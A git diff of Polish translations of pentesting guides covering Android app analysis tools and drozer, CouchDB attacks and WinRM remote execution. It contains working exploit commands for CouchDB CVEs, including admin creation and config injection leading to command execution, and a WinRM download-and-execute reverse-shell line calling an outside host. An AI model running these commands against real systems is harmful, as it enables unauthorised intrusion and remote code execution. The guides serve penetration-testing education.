Koncepcja polega na tym, że przeciągasz i upuszczasz plik swojej aplikacji mobilnej (plik .apk lub .ipa) na aplikację StaCoAn, a ona wygeneruje wizualny i przenośny raport dla Ciebie. Możesz dostosować ustawienia i listy słów, aby uzyskać spersonalizowane doświadczenie.
Pobierz [najnowszą wersję](https://github.com/vincentcox/StaCoAn/releases):
Pobierz [najowszą wersję](https://github.com/vincentcox/StaCoAn/releases):
```
./stacoan
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework to system analizy podatności Android, który pomaga deweloperom lub hackerom znaleźć potencjalne luki w zabezpieczeniach aplikacji Android.\
AndroBugs Framework to system analizy podatności Android, który pomaga deweloperom lub hakerom znaleźć potencjalne luki w zabezpieczeniach aplikacji na Androida.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**nalysis Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa.
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**naliza Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa.
Może:
@ -678,9 +678,9 @@ Zauważ, że w zależności od usługi i konfiguracji, której używasz do obfus
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
Z [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** to narzędzie wiersza poleceń typu open source, które zmniejsza, optymalizuje i obfuskowało kod Java. Potrafi optymalizować bajty kodu oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2.
Z [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** to narzędzie wiersza poleceń typu open source, które zmniejsza, optymalizuje i obfuskacje kod Java. Potrafi optymalizować bajty kodu oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2.
ProGuard jest dystrybuowane jako część Android SDK i działa podczas budowania aplikacji w trybie release.
ProGuard jest dystrybuowane jako część Android SDK i działa podczas budowania aplikacji w trybie wydania.
### [DexGuard](https://www.guardsquare.com/dexguard)
@ -702,11 +702,11 @@ Możesz przesłać obfuskowane APK na ich platformę.
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
To narzędzie LLM do znajdowania potencjalnych luk w zabezpieczeniach w aplikacjach androidowych i deobfuskacji kodu aplikacji androidowych. Używa publicznego API Gemini od Google'a.
To narzędzie LLM do znajdowania potencjalnych luk w zabezpieczeniach w aplikacjach android i deobfuskacji kodu aplikacji android. Używa publicznego API Gemini od Google'a.
### [Simplify](https://github.com/CalebFenton/simplify)
To **ogólny deobfuskator androidowy.** Simplify **wirtualnie wykonuje aplikację**, aby zrozumieć jej zachowanie, a następnie **stara się zoptymalizować kod**, aby działał identycznie, ale był łatwiejszy do zrozumienia dla człowieka. Każdy typ optymalizacji jest prosty i ogólny, więc nie ma znaczenia, jaki konkretny typ obfuskacji jest używany.
To **ogólny deobfuskator androida.** Simplify **wirtualnie wykonuje aplikację**, aby zrozumieć jej zachowanie, a następnie **stara się zoptymalizować kod**, aby działał identycznie, ale był łatwiejszy do zrozumienia dla człowieka. Każdy typ optymalizacji jest prosty i ogólny, więc nie ma znaczenia, jaki konkretny typ obfuskacji jest używany.
### [APKiD](https://github.com/rednaga/APKiD)

View File

@ -13,7 +13,7 @@
## Instalacja
Zainstaluj Drozer Client na swoim hoście. Pobierz go z [najnowszych wydań](https://github.com/mwrlabs/drozer/releases).
Zainstaluj klienta Drozer na swoim hoście. Pobierz go z [najnowszych wydań](https://github.com/mwrlabs/drozer/releases).
```bash
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
@ -40,12 +40,12 @@ drozer console connect
## Ciekawe Komendy
| **Komendy** | **Opis** |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Help MODULE** | Pokazuje pomoc wybranego modułu |
| **list** | Pokazuje listę wszystkich modułów drozer, które można wykonać w bieżącej sesji. Ukrywa moduły, do których nie masz odpowiednich uprawnień. |
| **shell** | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta. |
| **clean** | Usuwa tymczasowe pliki przechowywane przez drozer na urządzeniu z Androidem. |
| **load** | Ładuje plik zawierający komendy drozer i wykonuje je w kolejności. |
| **load** | Ładuje plik zawierający polecenia drozer i wykonuje je w kolejności. |
| **module** | Znajduje i instaluje dodatkowe moduły drozer z Internetu. |
| **unset** | Usuwa nazwaną zmienną, którą drozer przekazuje do wszelkich powłok Linux, które uruchamia. |
| **set** | Przechowuje wartość w zmiennej, która zostanie przekazana jako zmienna środowiskowa do wszelkich powłok Linux uruchamianych przez drozer. |
@ -95,8 +95,8 @@ Attack Surface:
2 services exported
is debuggable
```
- **Aktywności**: Może uda ci się uruchomić aktywność i obejść jakiś rodzaj autoryzacji, która powinna uniemożliwić jej uruchomienie.
- **Dostawcy treści**: Może uda ci się uzyskać dostęp do prywatnych danych lub wykorzystać jakąś lukę (SQL Injection lub Path Traversal).
- **Aktywności**: Może możesz uruchomić aktywność i obejść jakiś rodzaj autoryzacji, która powinna uniemożliwić jej uruchomienie.
- **Dostawcy treści**: Może możesz uzyskać dostęp do prywatnych danych lub wykorzystać jakąś lukę (SQL Injection lub Path Traversal).
- **Usługi**:
- **jest debugowalny**: [Dowiedz się więcej](#is-debuggeable)
@ -138,7 +138,7 @@ Eksportowana usługa jest zadeklarowana w pliku Manifest.xml:
```html
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
```
W kodzie **sprawdź** funkcję **`handleMessage`**, która **otrzyma** **wiadomość**:
W kodzie **sprawdź** funkcję **`handleMessage`**, która **odbierze** **wiadomość**:
![](<../../../images/image (82).png>)
@ -216,7 +216,7 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu
```
#### Wyślij wiadomość
W tym przykładzie, wykorzystując [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider, możesz **wysłać dowolny SMS** do dowolnego niepremium odbiorcy **bez pytania** użytkownika o pozwolenie.
W tym przykładzie, wykorzystując [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider, możesz **wysłać dowolny SMS** do dowolnego niepremium miejsca **bez pytania** użytkownika o pozwolenie.
![](<../../../images/image (415).png>)

View File

@ -6,7 +6,7 @@
**CouchDB** to wszechstronna i potężna **baza danych zorientowana na dokumenty**, która organizuje dane za pomocą struktury **mapy klucz-wartość** w każdym **dokumencie**. Pola w dokumencie mogą być reprezentowane jako **pary klucz/wartość, listy lub mapy**, co zapewnia elastyczność w przechowywaniu i pobieraniu danych.
Każdemu **dokumentowi** przechowywanemu w CouchDB przypisywany jest **unikalny identyfikator** (`_id`) na poziomie dokumentu. Dodatkowo, każda modyfikacja dokonana i zapisana w bazie danych otrzymuje **numer rewizji** (`_rev`). Ten numer rewizji umożliwia efektywne **śledzenie i zarządzanie zmianami**, ułatwiając łatwe pobieranie i synchronizację danych w bazie danych.
Każdemu **dokumentowi** przechowywanemu w CouchDB przypisany jest **unikalny identyfikator** (`_id`) na poziomie dokumentu. Dodatkowo, każda modyfikacja dokonana i zapisana w bazie danych otrzymuje **numer rewizji** (`_rev`). Ten numer rewizji umożliwia efektywne **śledzenie i zarządzanie zmianami**, ułatwiając łatwe pobieranie i synchronizację danych w bazie danych.
**Domyślny port:** 5984(http), 6984(https)
```
@ -38,20 +38,20 @@ To są punkty końcowe, do których możesz uzyskać dostęp za pomocą żądani
- **`/_active_tasks`** Lista uruchomionych zadań, w tym typ zadania, nazwa, status i identyfikator procesu.
- **`/_all_dbs`** Zwraca listę wszystkich baz danych w instancji CouchDB.
- \*\*`/_cluster_setup`\*\* Zwraca status węzła lub klastra, zgodnie z kreatorem konfiguracji klastra.
- **`/_db_updates`** Zwraca listę wszystkich zdarzeń bazy danych w instancji CouchDB. Istnienie bazy danych `_global_changes` jest wymagane do użycia tego punktu końcowego.
- **`/_cluster_setup`** Zwraca status węzła lub klastra, zgodnie z kreatorem konfiguracji klastra.
- **`/_db_updates`** Zwraca listę wszystkich zdarzeń bazy danych w instancji CouchDB. Istnienie bazy danych `_global_changes` jest wymagane do korzystania z tego punktu końcowego.
- **`/_membership`** Wyświetla węzły, które są częścią klastra jako `cluster_nodes`. Pole `all_nodes` wyświetla wszystkie węzły, o których ten węzeł wie, w tym te, które są częścią klastra.
- **`/_scheduler/jobs`** Lista zadań replikacji. Opis każdego zadania będzie zawierał informacje o źródle i celu, identyfikator replikacji, historię ostatnich zdarzeń i kilka innych rzeczy.
- **`/_scheduler/docs`** Lista stanów dokumentów replikacji. Zawiera informacje o wszystkich dokumentach, nawet w stanach `completed` i `failed`. Dla każdego dokumentu zwraca identyfikator dokumentu, bazę danych, identyfikator replikacji, źródło i cel oraz inne informacje.
- **`/_scheduler/docs/{replicator_db}`**
- **`/_scheduler/docs/{replicator_db}/{docid}`**
- **`/_node/{node-name}`** Punkt końcowy `/_node/{node-name}` może być użyty do potwierdzenia nazwy węzła Erlang serwera, który przetwarza żądanie. Jest to najbardziej przydatne podczas uzyskiwania dostępu do `/_node/_local`, aby uzyskać te informacje.
- **`/_node/{node-name}/_stats`** Zasób `_stats` zwraca obiekt JSON zawierający statystyki dla działającego serwera. Literalny ciąg `_local` służy jako alias dla lokalnej nazwy węzła, więc dla wszystkich adresów URL statystyk, `{node-name}` może być zastąpione `_local`, aby interagować ze statystykami lokalnego węzła.
- **`/_node/{node-name}`** Punkt końcowy `/_node/{node-name}` może być użyty do potwierdzenia nazwy węzła Erlang serwera, który przetwarza żądanie. Jest to najbardziej przydatne przy uzyskiwaniu dostępu do `/_node/_local`, aby uzyskać te informacje.
- **`/_node/{node-name}/_stats`** Zasób `_stats` zwraca obiekt JSON zawierający statystyki dla działającego serwera. Dosłowny ciąg `_local` służy jako alias dla lokalnej nazwy węzła, więc dla wszystkich adresów URL statystyk, `{node-name}` może być zastąpione `_local`, aby interagować z lokalnymi statystykami węzła.
- **`/_node/{node-name}/_system`** Zasób \_system zwraca obiekt JSON zawierający różne statystyki na poziomie systemu dla działającego serwera\_.\_ Możesz użyć \_\_`_local` jako {node-name}, aby uzyskać informacje o bieżącym węźle.
- **`/_node/{node-name}/_restart`**
- **`/_up`** Potwierdza, że serwer jest uruchomiony, działa i jest gotowy do odpowiadania na żądania. Jeśli [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) jest `true` lub `nolb`, punkt końcowy zwróci odpowiedź 404.
- \*\*`/_uuids`\*\* Żąda jednego lub więcej Uniwersalnych Unikalnych Identyfikatorów (UUID) z instancji CouchDB.
- \*\*`/_reshard`\*\* Zwraca liczbę zakończonych, nieudanych, działających, zatrzymanych i całkowitych zadań wraz z stanem reshardingu w klastrze.
- **`/_uuids`** Żąda jednego lub więcej Uniwersalnych Unikalnych Identyfikatorów (UUID) z instancji CouchDB.
- **`/_reshard`** Zwraca liczbę zakończonych, nieudanych, działających, zatrzymanych i wszystkich zadań wraz z stanem reshardingu w klastrze.
Więcej interesujących informacji można wyodrębnić, jak wyjaśniono tutaj: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
@ -59,13 +59,13 @@ Więcej interesujących informacji można wyodrębnić, jak wyjaśniono tutaj: [
```
curl -X GET http://IP:5984/_all_dbs
```
Jeśli ta prośba **zwraca 401 nieautoryzowany**, potrzebujesz **ważnych poświadczeń**, aby uzyskać dostęp do bazy danych:
Jeśli ta prośba **zwraca 401 nieautoryzowany**, potrzebujesz **ważnych poświadczeń** do uzyskania dostępu do bazy danych:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Aby znaleźć ważne dane uwierzytelniające, możesz **spróbować** [**przeprowadzić atak siłowy na usługę**](../generic-hacking/brute-force.md#couchdb).
Aby znaleźć ważne dane logowania, możesz **spróbować** [**przeprowadzić atak brute force na usługę**](../generic-hacking/brute-force.md#couchdb).
To jest **przykład** odpowiedzi couchdb, gdy masz **wystarczające uprawnienia** do wyświetlenia baz danych (to tylko lista baz danych):
To jest **przykład** odpowiedzi couchdb, gdy masz **wystarczające uprawnienia** do wyświetlenia listy baz danych (to tylko lista baz danych):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
@ -106,7 +106,7 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
```
## CouchDB Eskalacja Uprawnień [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Dzięki różnicom między parserami JSON w Erlangu i JavaScripcie możesz **utworzyć użytkownika admina** z danymi uwierzytelniającymi `hacktricks:hacktricks` za pomocą następującego żądania:
Dzięki różnicom między parserami JSON w Erlangu i JavaScript, możesz **utworzyć użytkownika administratora** z danymi uwierzytelniającymi `hacktricks:hacktricks` za pomocą następującego żądania:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
@ -118,24 +118,24 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[]
Przykład [stąd](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
W dokumentacji CouchDB, szczególnie w sekcji dotyczącej konfiguracji klastra ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), omawiane jest użycie portów przez CouchDB w trybie klastra. Wspomniano, że, podobnie jak w trybie samodzielnym, używany jest port `5984`. Dodatkowo, port `5986` jest przeznaczony dla lokalnych API węzłów, a co ważne, Erlang wymaga portu TCP `4369` dla Daemon Port Mapper Erlang (EPMD), ułatwiającego komunikację między węzłami w klastrze Erlang. Ta konfiguracja tworzy sieć, w której każdy węzeł jest połączony z każdym innym węzłem.
W dokumentacji CouchDB, szczególnie w sekcji dotyczącej konfiguracji klastra ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), omawiane jest użycie portów przez CouchDB w trybie klastra. Wspomniano, że, podobnie jak w trybie samodzielnym, używany jest port `5984`. Dodatkowo, port `5986` jest przeznaczony dla lokalnych API węzłów, a co ważne, Erlang wymaga portu TCP `4369` dla Daemon Port Mapper Erlang (EPMD), co ułatwia komunikację między węzłami w klastrze Erlang. Ta konfiguracja tworzy sieć, w której każdy węzeł jest połączony z każdym innym węzłem.
Podkreślono istotne ostrzeżenie dotyczące portu `4369`. Jeśli ten port jest udostępniony w Internecie lub w jakiejkolwiek niezaufanej sieci, bezpieczeństwo systemu w dużej mierze opiera się na unikalnym identyfikatorze znanym jako "ciasteczko." To ciasteczko działa jako zabezpieczenie. Na przykład, w danej liście procesów, można zaobserwować ciasteczko o nazwie "monster", co wskazuje na jego rolę operacyjną w ramach systemu zabezpieczeń.
Podkreślono istotne ostrzeżenie dotyczące portu `4369`. Jeśli ten port jest udostępniony w Internecie lub w jakiejkolwiek niezaufanej sieci, bezpieczeństwo systemu w dużej mierze opiera się na unikalnym identyfikatorze znanym jako "ciasteczko". To ciasteczko działa jako zabezpieczenie. Na przykład, w danej liście procesów, można zaobserwować ciasteczko o nazwie "monster", co wskazuje na jego rolę operacyjną w ramach systemu zabezpieczeń.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Dla tych, którzy są zainteresowani zrozumieniem, jak ten "ciasteczko" może być wykorzystane do zdalnego wykonania kodu (RCE) w kontekście systemów Erlang, dostępna jest dedykowana sekcja do dalszego czytania. Opisuje ona metodologie wykorzystywania ciasteczek Erlang w nieautoryzowany sposób w celu uzyskania kontroli nad systemami. Możesz [**zbadać szczegółowy przewodnik dotyczący nadużywania ciasteczek Erlang do RCE tutaj**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce).
Dla tych, którzy są zainteresowani zrozumieniem, jak ten "ciasteczko" może być wykorzystane do zdalnego wykonania kodu (RCE) w kontekście systemów Erlang, dostępna jest dedykowana sekcja do dalszego czytania. Opisuje ona metodologie wykorzystywania ciasteczek Erlang w nieautoryzowany sposób w celu uzyskania kontroli nad systemami. Możesz [**zbadać szczegółowy przewodnik dotyczący nadużywania ciasteczek Erlang dla RCE tutaj**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce).
### **Wykorzystywanie CVE-2018-8007 poprzez modyfikację local.ini**
Przykład [stąd](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Ostatnio ujawniona podatność, CVE-2018-8007, dotycząca Apache CouchDB, została zbadana, ujawniając, że wykorzystanie jej wymaga uprawnień do zapisu w pliku `local.ini`. Chociaż nie jest to bezpośrednio stosowane do początkowego systemu docelowego z powodu ograniczeń bezpieczeństwa, wprowadzono modyfikacje, aby przyznać dostęp do zapisu w pliku `local.ini` w celach eksploracyjnych. Poniżej przedstawiono szczegółowe kroki i przykłady kodu, ilustrujące ten proces.
Ostatnio ujawniona luka, CVE-2018-8007, dotycząca Apache CouchDB, została zbadana, ujawniając, że wykorzystanie jej wymaga uprawnień do zapisu w pliku `local.ini`. Chociaż nie jest to bezpośrednio stosowane w początkowym systemie docelowym z powodu ograniczeń bezpieczeństwa, wprowadzono modyfikacje, aby przyznać dostęp do zapisu w pliku `local.ini` w celach eksploracyjnych. Szczegółowe kroki i przykłady kodu są podane poniżej, ilustrując proces.
Najpierw środowisko jest przygotowywane poprzez upewnienie się, że plik `local.ini` jest zapisywalny, co weryfikuje się poprzez wylistowanie uprawnień:
Najpierw środowisko jest przygotowywane poprzez upewnienie się, że plik `local.ini` jest zapisywalny, co jest weryfikowane poprzez wylistowanie uprawnień:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
@ -147,7 +147,7 @@ Aby wykorzystać lukę, wykonywana jest komenda curl, celująca w konfigurację
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
Następna weryfikacja pokazuje wstrzykniętą konfigurację w `local.ini`, porównując ją z kopią zapasową, aby uwydatnić zmiany:
Kolejna weryfikacja pokazuje wstrzykniętą konfigurację w `local.ini`, porównując ją z kopią zapasową, aby uwydatnić zmiany:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
@ -168,13 +168,13 @@ root@canape:/home/homer/etc# ls /tmp/0xdf
```
To badania potwierdzają wykonalność eksploatacji CVE-2018-8007 w określonych warunkach, szczególnie wymaganie dostępu do zapisu do pliku `local.ini`. Podane przykłady kodu i kroki proceduralne oferują jasny przewodnik do powtórzenia eksploitu w kontrolowanym środowisku.
Aby uzyskać więcej informacji na temat CVE-2018-8007, zapoznaj się z komunikatem mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
Aby uzyskać więcej informacji na temat CVE-2018-8007, zapoznaj się z poradnikiem mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **Badanie CVE-2017-12636 z uprawnieniami do zapisu na local.ini**
Przykład [stąd](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Zbadano lukę znaną jako CVE-2017-12636, która umożliwia wykonanie kodu za pośrednictwem procesu CouchDB, chociaż konkretne konfiguracje mogą uniemożliwić jej eksploatację. Pomimo licznych odniesień do Proof of Concept (POC) dostępnych w Internecie, konieczne są dostosowania, aby wykorzystać lukę w wersji CouchDB 2, różniącej się od powszechnie atakowanej wersji 1.x. Początkowe kroki obejmują weryfikację wersji CouchDB i potwierdzenie braku oczekiwanego ścieżki serwerów zapytań:
Zbadano podatność znaną jako CVE-2017-12636, która umożliwia wykonanie kodu za pośrednictwem procesu CouchDB, chociaż konkretne konfiguracje mogą uniemożliwić jej eksploatację. Pomimo licznych odniesień do Proof of Concept (POC) dostępnych w Internecie, konieczne są dostosowania, aby wykorzystać tę podatność w wersji CouchDB 2, różniącej się od powszechnie atakowanej wersji 1.x. Początkowe kroki obejmują weryfikację wersji CouchDB i potwierdzenie braku oczekiwanego ścieżki serwerów zapytań:
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
@ -184,7 +184,7 @@ Aby dostosować się do wersji CouchDB 2.0, wykorzystuje się nową ścieżkę:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
Próby dodania i wywołania nowego serwera zapytań spotkały się z błędami związanymi z uprawnieniami, co wskazuje na poniższy wynik:
Próby dodania i wywołania nowego serwera zapytań spotkały się z błędami związanymi z uprawnieniami, co wskazuje poniższy wynik:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
@ -205,14 +205,14 @@ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design
```
Podsumowanie z alternatywnym ładunkiem dostarcza dalszych informacji na temat wykorzystania CVE-2017-12636 w określonych warunkach. Przydatne zasoby do wykorzystania tej podatności obejmują:
- [POC exploit code](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Exploit Database entry](https://www.exploit-db.com/exploits/44913/)
- [Kod exploita POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Wpis w bazie danych exploitów](https://www.exploit-db.com/exploits/44913/)
## Shodan
- `port:5984 couchdb`
## References
## Odniesienia
- [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
- [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)

View File

@ -4,9 +4,9 @@
## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) jest wyróżniony jako **protokół firmy Microsoft**, który umożliwia **zdalne zarządzanie systemami Windows** przez HTTP(S), wykorzystując SOAP w tym procesie. Jest zasadniczo zasilany przez WMI, prezentując się jako interfejs oparty na HTTP dla operacji WMI.
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) jest wyróżniony jako **protokół od Microsoftu**, który umożliwia **zdalne zarządzanie systemami Windows** przez HTTP(S), wykorzystując SOAP w tym procesie. Jest zasadniczo zasilany przez WMI, prezentując się jako interfejs oparty na HTTP do operacji WMI.
Obecność WinRM na maszynie umożliwia prostą zdalną administrację za pomocą PowerShell, podobnie jak działa SSH w innych systemach operacyjnych. Aby sprawdzić, czy WinRM działa, zaleca się sprawdzenie otwarcia konkretnych portów:
Obecność WinRM na maszynie umożliwia prostą zdalną administrację za pomocą PowerShell, podobnie jak SSH działa w innych systemach operacyjnych. Aby sprawdzić, czy WinRM działa, zaleca się sprawdzenie otwarcia konkretnych portów:
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
@ -15,22 +15,22 @@ Otwarty port z powyższej listy oznacza, że WinRM został skonfigurowany, co po
### **Inicjowanie sesji WinRM**
Aby skonfigurować PowerShell dla WinRM, używa się polecenia `Enable-PSRemoting` firmy Microsoft, które przygotowuje komputer do akceptowania zdalnych poleceń PowerShell. Posiadając podwyższone uprawnienia PowerShell, można wykonać następujące polecenia, aby włączyć tę funkcjonalność i oznaczyć dowolny host jako zaufany:
```powershell
Aby skonfigurować PowerShell dla WinRM, wchodzi w grę cmdlet Microsoftu `Enable-PSRemoting`, który przygotowuje komputer do akceptowania zdalnych poleceń PowerShell. Posiadając podwyższone uprawnienia PowerShell, można wykonać następujące polecenia, aby włączyć tę funkcjonalność i oznaczyć dowolny host jako zaufany:
```bash
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
To podejście polega na dodaniu symbolu wieloznacznego do konfiguracji `trustedhosts`, co wymaga ostrożnego rozważenia ze względu na jego konsekwencje. Zauważono również, że zmiana typu sieci z "Public" na "Work" może być konieczna na maszynie atakującego.
Ponadto, WinRM można **aktywować zdalnie** za pomocą polecenia `wmic`, co pokazano poniżej:
```powershell
```bash
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
Ta metoda umożliwia zdalne skonfigurowanie WinRM, zwiększając elastyczność w zarządzaniu maszynami z systemem Windows zdalnie.
### Sprawdź, czy jest skonfigurowane
### Sprawdź, czy skonfigurowano
Aby zweryfikować konfigurację twojej maszyny atakującej, używa się polecenia `Test-WSMan`, aby sprawdzić, czy cel ma prawidłowo skonfigurowany WinRM. Wykonując to polecenie, powinieneś oczekiwać otrzymania szczegółów dotyczących wersji protokołu i wsmid, co wskazuje na pomyślną konfigurację. Poniżej znajdują się przykłady ilustrujące oczekiwany wynik dla skonfigurowanego celu w porównaniu do nieskonfigurowanego:
Aby zweryfikować konfigurację swojej maszyny atakującej, używa się polecenia `Test-WSMan`, aby sprawdzić, czy cel ma prawidłowo skonfigurowany WinRM. Wykonując to polecenie, powinieneś oczekiwać otrzymania szczegółów dotyczących wersji protokołu i wsmid, co wskazuje na pomyślną konfigurację. Poniżej znajdują się przykłady ilustrujące oczekiwany wynik dla skonfigurowanego celu w porównaniu do nieskonfigurowanego:
- Dla celu, który **jest** prawidłowo skonfigurowany, wynik będzie wyglądał podobnie do tego:
```bash
@ -46,28 +46,28 @@ Odpowiedź powinna zawierać informacje o wersji protokołu i wsmid, co oznacza,
### Wykonaj polecenie
Aby zdalnie wykonać `ipconfig` na docelowej maszynie i zobaczyć jego wynik, wykonaj:
```powershell
Aby zdalnie wykonać `ipconfig` na docelowej maszynie i zobaczyć jego wynik, zrób:
```bash
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../images/image (151).png>)
Możesz również **wykonać polecenie z bieżącej konsoli PS za pomocą** _**Invoke-Command**_. Załóżmy, że masz lokalnie funkcję o nazwie _**enumeration**_ i chcesz ją **wykonać na zdalnym komputerze**, możesz to zrobić:
```powershell
```bash
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### Wykonaj skrypt
```powershell
```bash
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### Uzyskaj powłokę odwrotną
```powershell
```bash
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Uzyskaj sesję PS
Aby uzyskać interaktywną powłokę PowerShell, użyj `Enter-PSSession`:
```powershell
```bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
@ -90,13 +90,13 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
### **Wymuszanie otwarcia WinRM**
Aby używać PS Remoting i WinRM, ale komputer nie jest skonfigurowany, możesz to włączyć za pomocą:
```powershell
```bash
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
### Saving and Restoring sessions
To **nie zadziała**, jeśli **język** jest **ograniczony** na zdalnym komputerze.
```powershell
To **nie zadziała** jeśli **język** jest **ograniczony** na zdalnym komputerze.
```bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
@ -108,7 +108,7 @@ $sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessi
Enter-PSSession -Session $sess1
```
W ramach tych sesji możesz ładować skrypty PS za pomocą _Invoke-Command_
```powershell
```bash
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
### Błędy
@ -142,13 +142,13 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
```ruby
gem install evil-winrm
```
Przeczytaj **dokumentację** na jego githubie: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
Przeczytaj **dokumentację** na jej githubie: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
